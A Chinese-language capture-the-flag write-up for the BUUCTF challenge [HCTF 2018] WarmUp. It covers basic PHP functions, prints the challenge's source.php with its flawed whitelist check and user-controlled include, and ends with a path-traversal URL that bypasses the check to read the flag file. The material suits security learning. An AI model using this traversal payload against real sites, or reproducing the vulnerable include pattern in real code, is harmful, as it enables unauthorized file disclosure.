首先,对index的认识:
1、网站默认页面,负责展示网站内容;
2、处理和执行传递给该页面的请求参数,并根据不同参数返回不同结果;
3、作为框架的入口,方便控制整个网站请求的管理;
4、作为API的入口,方便数据交互和处理。
后缀加/index.php可以直接进行访问,后再加一个“?”进行GET或POST传参
php相关函数
isset() 函数用于检测变量是否已设置并且非 NULL。
in_array() 函数搜索数组中是否存在指定的值。
mb_substr() 函数返回字符串的一部分,之前我们学过 substr() 函数,它只针对英文字符,如果要分割的中文文字则需要使用 mb_substr()。
mb_strpos — 查找字符串在另一个字符串中首次出现的位置
$_REQUEST 用于收集 HTML 表单提交的数据
empty() 函数用于检查一个变量是否为空。
文件所处位置:
"./":代表目前所在的目录。
" . ./"代表上一层目录。
"/":代表根目录。
buu[HCTF 2018]WarmUp 代码审计 php
第一步查看源码,找到提示,直接访问/source.php查看php
直接就是源码,接着进行审计
<?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page)//传入变量page { //定义白名单 $whitelist ["source"=>"source.php","hint"=>"hint.php"];//传参试试看 if (! isset($page) || !is_string($page)) { //flies存在,且为字符串 echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { //白名单过滤 return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); /*是个截断,获取两个“?”之间的字符串*/ if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page);//url编码 $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') );//再次进行如上面的截断 if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>
因为要满足四个if皆成立,所以从传入参数必须为白名单,两个参数皆传入尝试发现hint.php,得到flag所处位置在ffffllllaaaagggg
又发现需要在两个?之间且第三个if先进行url解码,直接进行url解码,发现?不受影响故而不对其做出更改。
猜测ffff重复了四次故在第四层目录,使用四层或五层../
(或者http://efd74f9a-2e49-41bc-a554-9a5dfb02ecfa.node5.buuoj.cn:81/index.php?file=hint.php?../../../../../ffffllllaaaagggg)